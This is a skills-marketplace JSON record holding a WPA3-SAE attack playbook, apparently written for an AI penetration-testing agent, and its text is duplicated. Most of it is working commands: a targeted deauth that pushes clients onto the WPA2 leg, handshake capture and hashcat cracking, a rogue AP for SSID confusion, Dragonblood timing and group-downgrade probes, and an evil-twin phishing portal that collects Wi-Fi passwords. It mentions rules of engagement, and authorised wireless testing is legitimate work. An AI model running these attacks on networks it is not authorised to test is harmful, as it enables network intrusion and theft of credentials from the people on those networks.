[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DGKXXVDTY0KBZZR83VFPZX":3,"skill-same:01M7DGKXXVDTY0KBZZR83VFPZX":56},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":36,"commitSha":37,"skillDirectory":38,"forksCount":14,"repositoryHtmlUrl":39,"repositoryHomepageUrl":6,"ownerHtmlUrl":40,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":41,"install":42,"resources":55},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae",null,"WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: wpa3-sae\ndescription: WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: wireless\n  when_to_use: \"WPA3, SAE, Dragonblood, transition mode downgrade, SSID confusion, dragonshift, MFP, WPA3-Personal, SAE handshake, simultaneous authentication of equals\"\n  tags:\n    - wpa3\n    - sae\n    - dragonblood\n    - transition-mode\n    - ssid-confusion\n    - pmf\n  mitre_attack: T1557, T1040\n---\n\n# WPA3-SAE\n\n> SAE is an online-only protocol — there is no PMKID or 4-way\n> handshake hash to crack offline. The headline deliverable when the\n> PSK is unrecoverable is the **MFP state finding** (mandatory vs\n> optional vs disabled) which proves downgrade viability. Realistic\n> outcome: either recover the PSK via the transition-mode WPA2 leg,\n> or document SAE + MFP as a hardened target with no further wireless\n> attack surface.\n\n## Prerequisites\n\n- Monitor-mode adapter on the target channel.\n- Tools: `aircrack-ng` suite, `hcxdumptool`, `hcxpcapngtool`,\n  `hashcat`, `iw`, `tshark` or `wireshark-cli`.\n- Optional (Dragonblood \u002F transition probing): `dragonslayer` \u002F\n  `wpa_supplicant` dev branch (Vanhoef scripts), Python 3.8+.\n- Confirm `iw reg get` matches the engagement's regulatory domain\n  before any TX.\n\n## Path A — Transition-mode downgrade (DragonShift)\n\n**Target signature:** AP advertises both PSK and SAE (`WPA2 WPA3`\nin airodump ENC column, or RSN IE shows both AKM 00-0F-AC:2 PSK\nand 00-0F-AC:8 SAE), **AND** PMF is optional (`MFPC=1, MFPR=0`)\nrather than required (`MFPR=1`).\n\n```bash\n# 1. Passive recon — confirm transition mode + PMF state\nsudo airodump-ng --write-interval 1 -w \u002Ftmp\u002Fwpa3_recon --output-format csv,pcap \\\n    -c \u003CCHANNEL> --bssid \u003CBSSID> \u003Cmon-iface>\n\n# 2. Decode RSN capabilities from beacon to read MFPC\u002FMFPR\ntshark -r \u002Ftmp\u002Fwpa3_recon-01.cap -Y \"wlan.fc.type_subtype == 8\" \\\n    -T fields \\\n    -e wlan.ssid \\\n    -e wlan_mgt.rsn.capabilities.mfpc \\\n    -e wlan_mgt.rsn.capabilities.mfpr 2>\u002Fdev\u002Fnull | head -5\n\n# Expected output for downgrade-viable target:\n#   TargetSSID   1   0\n# MFPC=1 MFPR=0 → PMF optional → client negotiates WPA2 PSK leg\n# MFPC=1 MFPR=1 → PMF required → downgrade blocked; pivot to Path B\u002FC\u002FD\n```\n\n```bash\n# 3. Coerce client onto the WPA2 PSK leg\n#    Send targeted deauth to a connected client (requires\n#    permitted_actions: deauth_for_handshake_capture in RoE).\nsudo aireplay-ng --deauth 1 -a \u003CBSSID> -c \u003CCLIENT_MAC> \u003Cmon-iface>\n\n# 4. Client reconnects choosing WPA2 PSK AKM (no SAE preference).\n#    Capture the resulting 4-way handshake \u002F PMKID from airodump.\nhcxpcapngtool -o \u002Ftmp\u002Fdowngrade.hc22000 \u002Ftmp\u002Fwpa3_recon-01.cap\n\n# 5. Crack with hashcat exactly as wpa2-psk skill.\nhashcat -m 22000 \u002Ftmp\u002Fdowngrade.hc22000 \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n```\n\n> Hand off to `wpa2-psk` skill for cracking if the above yields a\n> hash. The downgrade finding stands independently even without a\n> cracked PSK.\n\n## Path B — SSID Confusion (CVE-2023-52424)\n\n**Preconditions (all required):**\n1. Victim device has stored credentials for SSID-A on network-A\n   AND SSID-A on network-B (credential reuse across SSIDs).\n2. Neither AP uses beacon protection (802.11bn beacon-integrity\n   extension — uncommon in 2026 consumer gear).\n3. The PMK derivation in the target's supplicant does not bind the\n   SSID (WPA2\u002FWPA3 SAE do not bind SSID into the PMK by spec unless\n   the vendor implements extra protection).\n\n```bash\n# 1. Identify trusted SSID the client probes for\nsudo airodump-ng \u003Cmon-iface> 2>\u002Fdev\u002Fnull | grep \"Probe\"\n# e.g., victim probes for \"CorpWifi\" which reuses PSK on home AP\n\n# 2. Confirm no beacon protection in target beacons\ntshark -r \u002Ftmp\u002Fwpa3_recon-01.cap -Y \"wlan.fc.type_subtype == 8\" \\\n    -T fields -e wlan.ssid -e wlan.tag.number 2>\u002Fdev\u002Fnull | grep \"130\"\n# Tag 130 = FILS Public Key \u002F beacon protection present → attack blocked\n\n# 3. Stand up a rogue AP with the trusted SSID using the\n#    victim's own SAE credentials (operator already has the PSK from\n#    another path, or this is a known shared-PSK environment).\n#    Cross-reference evil-twin-karma skill for rogue AP setup.\n#    The victim associates using its saved PSK — traffic flows via\n#    attacker AP despite never cracking SAE directly.\n```\n\n**Limits:** Requires credential reuse. Most corporate environments\nuse unique per-network credentials, defeating this. Primarily viable\nin SMB\u002FSOHO where the same \"home\" PSK is reused on a WPA3 network.\n(Reference: Vanhoef & Gollier, \"SSID Confusion Attack\", USENIX 2024.)\n\n## Path C — Dragonblood side-channels (legacy\u002Fembedded only)\n\n**Viability note:** Both the timing and cache side-channel variants\n(CVE-2019-9494, CVE-2019-9496) and the ECC group-downgrade attack\n(CVE-2019-13377) are **patched in hostapd ≥ 2.9 \u002F wpa_supplicant ≥\n2.9 (2019)**. Target must be running unpatched firmware — typical\non embedded routers, old ISP-supplied CPE, or IoT access points\nwith frozen firmware.\n\n```bash\n# 1. Check AP firmware \u002F hostapd version via beacon or SNMP\nsudo airodump-ng --bssid \u003CBSSID> -c \u003CCHANNEL> \u003Cmon-iface>\n# Look for vendor OUI → cross-ref CVE database for hostapd version\n\n# 2. Group-downgrade probe — send SAE Commit with ECC group 22 (non-default)\n#    Vanhoef dragonslayer script automates this:\npython3 dragonslayer.py --interface \u003Cmon-iface> --target-bssid \u003CBSSID> \\\n    --test group-downgrade\n\n# 3. Timing attack (cache\u002Ftiming oracle on P-521 scalar multiplication)\n#    Also in dragonslayer; requires ~1000 timing samples to extract nonce.\npython3 dragonslayer.py --interface \u003Cmon-iface> --target-bssid \u003CBSSID> \\\n    --test timing-attack --iterations 1200\n\n# Output: recovered nonce bits → partial PSK entropy.\n# Full offline crack still requires mutation + hashcat.\n```\n\n**Expected result on patched target:** SAE Commit is rejected with\nstatus 77 (unsupported finite cyclic group) for group 22, and timing\nvariance is \u003C10 µs (indistinguishable). Mark as `not_vulnerable`.\n\n## Path D — SAE captive-portal social-engineering recovery\n\nFor networks where SAE is cryptographically intact and the PSK is\nstrong, a hostile-portal workflow (social engineering) can recover\nthe PSK directly from the user:\n\n```bash\n# Stand up evil-twin with matching SSID + deauth.\n# See evil-twin-karma skill for full rogue AP + portal setup.\n# Workflow: victim sees \"Reconnect to Wi-Fi\" prompt on portal page;\n# submits PSK; phishing page validates it against a local wpa_supplicant\n# instance pointing at a dummy SAE AP to confirm credential correctness\n# before accepting.\n# Reference: Chatzisofroniou & Vanhoef arXiv:2412.15381 (2024).\n```\n\n## Evidence\n\nNote both in your findings record (your role has no KG write tool —\nthe orchestrator owns graph writes). On successful downgrade or PSK\nrecovery:\n\n```\ncredential | WiFi PSK for \u003Cssid> (WPA3-SAE transition downgrade) |\nsecret_type wpa_sae | ssid \u003Cssid> | bssid \u003Cbssid> | psk \u003Cpsk> |\nattack_path wpa3-transition-downgrade | cracked_at \u003Ciso8601> |\nsource dragonshift+hashcat-22000\n```\n\nAlways note a PMF finding regardless of crack outcome:\n\n```\nfinding | WPA3 Transition Mode — PMF Optional (Downgrade Viable) |\nseverity high | mfpc true | mfpr false |\nremediation Set MFP=Required (MFPR=1) on the AP to block\ntransition-mode downgrade.\n```\n\n## ZFP\n\n1. tshark or Wireshark screenshot showing MFPC=1, MFPR=0 in RSN capabilities.\n2. Captured .hc22000 from the WPA2-leg reconnection (or dragonslayer output for Path C).\n3. `hashcat --show` output confirming PSK (if cracked).\n\nIf PSK not cracked: the PMF-optional finding is a standalone deliverable. Document as \"SAE transition-mode downgrade viable; PSK not recovered in engagement timeframe.\"\n\n## OPSEC notes\n\n- Transition-mode downgrade requires one targeted deauth — gate on\n  `permitted_actions: deauth_for_handshake_capture`.\n- PMKID capture from the WPA2 leg is OPSEC-quiet (no deauth).\n- Dragonblood timing attack requires ~10+ minutes of repeated SAE\n  Commit frames — loud, triggers WIDS. Gate on `posture=loud`.\n- SSID Confusion and portal recovery (Path B\u002FD) involve active TX;\n  check regulatory domain first.\n\n## References\n\n- `references\u002Fwpa3-transition-mode-notes.md` — extended transition-mode notes.\n- Vanhoef & Gollier, \"SSID Confusion Attack\", USENIX Security 2024 (CVE-2023-52424).\n- Vanhoef & Ronen, \"Dragonblood: Analyzing the Dragonfly Handshake of WPA3-SAE\", IEEE S&P 2020.\n- `wpa2-psk` skill — crack the recovered WPA2-leg handshake.\n- `evil-twin-karma` skill — rogue AP setup for Path D.\n- `deauth-pmf` skill — PMF detection and targeted deauth mechanics.\n","# WPA3-SAE\n\n> SAE is an online-only protocol — there is no PMKID or 4-way\n> handshake hash to crack offline. The headline deliverable when the\n> PSK is unrecoverable is the **MFP state finding** (mandatory vs\n> optional vs disabled) which proves downgrade viability. Realistic\n> outcome: either recover the PSK via the transition-mode WPA2 leg,\n> or document SAE + MFP as a hardened target with no further wireless\n> attack surface.\n\n## Prerequisites\n\n- Monitor-mode adapter on the target channel.\n- Tools: `aircrack-ng` suite, `hcxdumptool`, `hcxpcapngtool`,\n  `hashcat`, `iw`, `tshark` or `wireshark-cli`.\n- Optional (Dragonblood \u002F transition probing): `dragonslayer` \u002F\n  `wpa_supplicant` dev branch (Vanhoef scripts), Python 3.8+.\n- Confirm `iw reg get` matches the engagement's regulatory domain\n  before any TX.\n\n## Path A — Transition-mode downgrade (DragonShift)\n\n**Target signature:** AP advertises both PSK and SAE (`WPA2 WPA3`\nin airodump ENC column, or RSN IE shows both AKM 00-0F-AC:2 PSK\nand 00-0F-AC:8 SAE), **AND** PMF is optional (`MFPC=1, MFPR=0`)\nrather than required (`MFPR=1`).\n\n```bash\n# 1. Passive recon — confirm transition mode + PMF state\nsudo airodump-ng --write-interval 1 -w \u002Ftmp\u002Fwpa3_recon --output-format csv,pcap \\\n    -c \u003CCHANNEL> --bssid \u003CBSSID> \u003Cmon-iface>\n\n# 2. Decode RSN capabilities from beacon to read MFPC\u002FMFPR\ntshark -r \u002Ftmp\u002Fwpa3_recon-01.cap -Y \"wlan.fc.type_subtype == 8\" \\\n    -T fields \\\n    -e wlan.ssid \\\n    -e wlan_mgt.rsn.capabilities.mfpc \\\n    -e wlan_mgt.rsn.capabilities.mfpr 2>\u002Fdev\u002Fnull | head -5\n\n# Expected output for downgrade-viable target:\n#   TargetSSID   1   0\n# MFPC=1 MFPR=0 → PMF optional → client negotiates WPA2 PSK leg\n# MFPC=1 MFPR=1 → PMF required → downgrade blocked; pivot to Path B\u002FC\u002FD\n```\n\n```bash\n# 3. Coerce client onto the WPA2 PSK leg\n#    Send targeted deauth to a connected client (requires\n#    permitted_actions: deauth_for_handshake_capture in RoE).\nsudo aireplay-ng --deauth 1 -a \u003CBSSID> -c \u003CCLIENT_MAC> \u003Cmon-iface>\n\n# 4. Client reconnects choosing WPA2 PSK AKM (no SAE preference).\n#    Capture the resulting 4-way handshake \u002F PMKID from airodump.\nhcxpcapngtool -o \u002Ftmp\u002Fdowngrade.hc22000 \u002Ftmp\u002Fwpa3_recon-01.cap\n\n# 5. Crack with hashcat exactly as wpa2-psk skill.\nhashcat -m 22000 \u002Ftmp\u002Fdowngrade.hc22000 \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n```\n\n> Hand off to `wpa2-psk` skill for cracking if the above yields a\n> hash. The downgrade finding stands independently even without a\n> cracked PSK.\n\n## Path B — SSID Confusion (CVE-2023-52424)\n\n**Preconditions (all required):**\n1. Victim device has stored credentials for SSID-A on network-A\n   AND SSID-A on network-B (credential reuse across SSIDs).\n2. Neither AP uses beacon protection (802.11bn beacon-integrity\n   extension — uncommon in 2026 consumer gear).\n3. The PMK derivation in the target's supplicant does not bind the\n   SSID (WPA2\u002FWPA3 SAE do not bind SSID into the PMK by spec unless\n   the vendor implements extra protection).\n\n```bash\n# 1. Identify trusted SSID the client probes for\nsudo airodump-ng \u003Cmon-iface> 2>\u002Fdev\u002Fnull | grep \"Probe\"\n# e.g., victim probes for \"CorpWifi\" which reuses PSK on home AP\n\n# 2. Confirm no beacon protection in target beacons\ntshark -r \u002Ftmp\u002Fwpa3_recon-01.cap -Y \"wlan.fc.type_subtype == 8\" \\\n    -T fields -e wlan.ssid -e wlan.tag.number 2>\u002Fdev\u002Fnull | grep \"130\"\n# Tag 130 = FILS Public Key \u002F beacon protection present → attack blocked\n\n# 3. Stand up a rogue AP with the trusted SSID using the\n#    victim's own SAE credentials (operator already has the PSK from\n#    another path, or this is a known shared-PSK environment).\n#    Cross-reference evil-twin-karma skill for rogue AP setup.\n#    The victim associates using its saved PSK — traffic flows via\n#    attacker AP despite never cracking SAE directly.\n```\n\n**Limits:** Requires credential reuse. Most corporate environments\nuse unique per-network credentials, defeating this. Primarily viable\nin SMB\u002FSOHO where the same \"home\" PSK is reused on a WPA3 network.\n(Reference: Vanhoef & Gollier, \"SSID Confusion Attack\", USENIX 2024.)\n\n## Path C — Dragonblood side-channels (legacy\u002Fembedded only)\n\n**Viability note:** Both the timing and cache side-channel variants\n(CVE-2019-9494, CVE-2019-9496) and the ECC group-downgrade attack\n(CVE-2019-13377) are **patched in hostapd ≥ 2.9 \u002F wpa_supplicant ≥\n2.9 (2019)**. Target must be running unpatched firmware — typical\non embedded routers, old ISP-supplied CPE, or IoT access points\nwith frozen firmware.\n\n```bash\n# 1. Check AP firmware \u002F hostapd version via beacon or SNMP\nsudo airodump-ng --bssid \u003CBSSID> -c \u003CCHANNEL> \u003Cmon-iface>\n# Look for vendor OUI → cross-ref CVE database for hostapd version\n\n# 2. Group-downgrade probe — send SAE Commit with ECC group 22 (non-default)\n#    Vanhoef dragonslayer script automates this:\npython3 dragonslayer.py --interface \u003Cmon-iface> --target-bssid \u003CBSSID> \\\n    --test group-downgrade\n\n# 3. Timing attack (cache\u002Ftiming oracle on P-521 scalar multiplication)\n#    Also in dragonslayer; requires ~1000 timing samples to extract nonce.\npython3 dragonslayer.py --interface \u003Cmon-iface> --target-bssid \u003CBSSID> \\\n    --test timing-attack --iterations 1200\n\n# Output: recovered nonce bits → partial PSK entropy.\n# Full offline crack still requires mutation + hashcat.\n```\n\n**Expected result on patched target:** SAE Commit is rejected with\nstatus 77 (unsupported finite cyclic group) for group 22, and timing\nvariance is \u003C10 µs (indistinguishable). Mark as `not_vulnerable`.\n\n## Path D — SAE captive-portal social-engineering recovery\n\nFor networks where SAE is cryptographically intact and the PSK is\nstrong, a hostile-portal workflow (social engineering) can recover\nthe PSK directly from the user:\n\n```bash\n# Stand up evil-twin with matching SSID + deauth.\n# See evil-twin-karma skill for full rogue AP + portal setup.\n# Workflow: victim sees \"Reconnect to Wi-Fi\" prompt on portal page;\n# submits PSK; phishing page validates it against a local wpa_supplicant\n# instance pointing at a dummy SAE AP to confirm credential correctness\n# before accepting.\n# Reference: Chatzisofroniou & Vanhoef arXiv:2412.15381 (2024).\n```\n\n## Evidence\n\nNote both in your findings record (your role has no KG write tool —\nthe orchestrator owns graph writes). On successful downgrade or PSK\nrecovery:\n\n```\ncredential | WiFi PSK for \u003Cssid> (WPA3-SAE transition downgrade) |\nsecret_type wpa_sae | ssid \u003Cssid> | bssid \u003Cbssid> | psk \u003Cpsk> |\nattack_path wpa3-transition-downgrade | cracked_at \u003Ciso8601> |\nsource dragonshift+hashcat-22000\n```\n\nAlways note a PMF finding regardless of crack outcome:\n\n```\nfinding | WPA3 Transition Mode — PMF Optional (Downgrade Viable) |\nseverity high | mfpc true | mfpr false |\nremediation Set MFP=Required (MFPR=1) on the AP to block\ntransition-mode downgrade.\n```\n\n## ZFP\n\n1. tshark or Wireshark screenshot showing MFPC=1, MFPR=0 in RSN capabilities.\n2. Captured .hc22000 from the WPA2-leg reconnection (or dragonslayer output for Path C).\n3. `hashcat --show` output confirming PSK (if cracked).\n\nIf PSK not cracked: the PMF-optional finding is a standalone deliverable. Document as \"SAE transition-mode downgrade viable; PSK not recovered in engagement timeframe.\"\n\n## OPSEC notes\n\n- Transition-mode downgrade requires one targeted deauth — gate on\n  `permitted_actions: deauth_for_handshake_capture`.\n- PMKID capture from the WPA2 leg is OPSEC-quiet (no deauth).\n- Dragonblood timing attack requires ~10+ minutes of repeated SAE\n  Commit frames — loud, triggers WIDS. Gate on `posture=loud`.\n- SSID Confusion and portal recovery (Path B\u002FD) involve active TX;\n  check regulatory domain first.\n\n## References\n\n- `references\u002Fwpa3-transition-mode-notes.md` — extended transition-mode notes.\n- Vanhoef & Gollier, \"SSID Confusion Attack\", USENIX Security 2024 (CVE-2023-52424).\n- Vanhoef & Ronen, \"Dragonblood: Analyzing the Dragonfly Handshake of WPA3-SAE\", IEEE S&P 2020.\n- `wpa2-psk` skill — crack the recovered WPA2-leg handshake.\n- `evil-twin-karma` skill — rogue AP setup for Path D.\n- `deauth-pmf` skill — PMF detection and targeted deauth mechanics.\n",{"name":5,"metadata":24,"description":7,"allowed-tools":35},{"tags":25,"subdomain":32,"when_to_use":33,"mitre_attack":34},[26,27,28,29,30,31],"wpa3","sae","dragonblood","transition-mode","ssid-confusion","pmf","wireless","WPA3, SAE, Dragonblood, transition mode downgrade, SSID confusion, dragonshift, MFP, WPA3-Personal, SAE handshake, simultaneous authentication of equals","T1557, T1040","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":43,"prompt":53,"zipAvailable":54},[44,47,50],{"tool":45,"command":46},"npx","npx skills add Akapi895\u002Fraptix --skill wpa3-sae",{"tool":48,"command":49},"bunx","bunx skills add Akapi895\u002Fraptix --skill wpa3-sae",{"tool":51,"command":52},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill wpa3-sae","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",true,[],[57,64,71,78,85,92],{"skillNo":58,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":61,"categories":62,"keywords":63,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":65,"name":66,"nameZh":6,"description":67,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":68,"categories":69,"keywords":70,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":72,"name":73,"nameZh":6,"description":74,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":75,"categories":76,"keywords":77,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[],{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":19},"01M7DGK113X8S6ZJBSMK419MV9","deauth-pmf","Targeted and broadcast 802.11 deauthentication \u002F disassociation, 802.11w\u002FPMF posture detection, and action-frame attack variants. Reusable by wpa2-psk (handshake), wpa3-sae (downgrade), and evil-twin (roaming coercion).","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fdeauth-pmf\u002FSKILL.md",[],[]]